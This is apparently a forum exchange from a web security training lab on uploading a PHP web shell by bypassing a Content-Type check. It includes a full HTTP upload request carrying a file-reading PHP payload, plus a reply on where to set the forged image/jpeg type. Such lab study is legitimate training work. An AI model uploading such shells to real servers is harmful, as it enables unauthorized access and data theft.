Hi Team, I am trying to solve lab "Web shell upload via Content-Type restriction bypass" I am facing an issue. I am changing the content type to "images/jpeg" and then sending the request to get my php exploit file uploaded but I am seeing 400 bad request with message (Missing parameter 'csrf') Request: POST /my-account/avatar HTTP/2 Host: 0a57005404b8e8a781483042005900bd.web-security-academy.net Cookie: session=p4PrlveuyPUEoAn5Kz7cEjU5QDKC7uH0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: images/jpeg; boundary=---------------------------22869937191357099563482819783 Content-Length: 548 Origin: https://0a57005404b8e8a781483042005900bd.web-security-academy.net Referer: https://0a57005404b8e8a781483042005900bd.web-security-academy.net/my-account Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Te: trailers -----------------------------22869937191357099563482819783 Content-Disposition: form-data; name="avatar"; filename="exploit.php" Content-Type: application/octet-stream <?php echo file_get_contents('/home/carlos/secret'); ?> -----------------------------22869937191357099563482819783 Content-Disposition: form-data; name="user" wiener -----------------------------22869937191357099563482819783 Content-Disposition: form-data; name="csrf" r5p6ddAhxIgzB7TRb4D3RPLmQYCmiQ9w -----------------------------22869937191357099563482819783-- Response: HTTP/2 400 Bad Request Content-Type: application/json; charset=utf-8 X-Frame-Options: SAMEORIGIN Content-Length: 26 "Missing parameter 'csrf'"

Hi Raghuveer, A couple of things here. Firstly, the correct Content-Type is actually image/jpeg (without the 's' on image). Secondly, you want to be changing the Content-Type in the request body (under the WebKitFormBoundary).
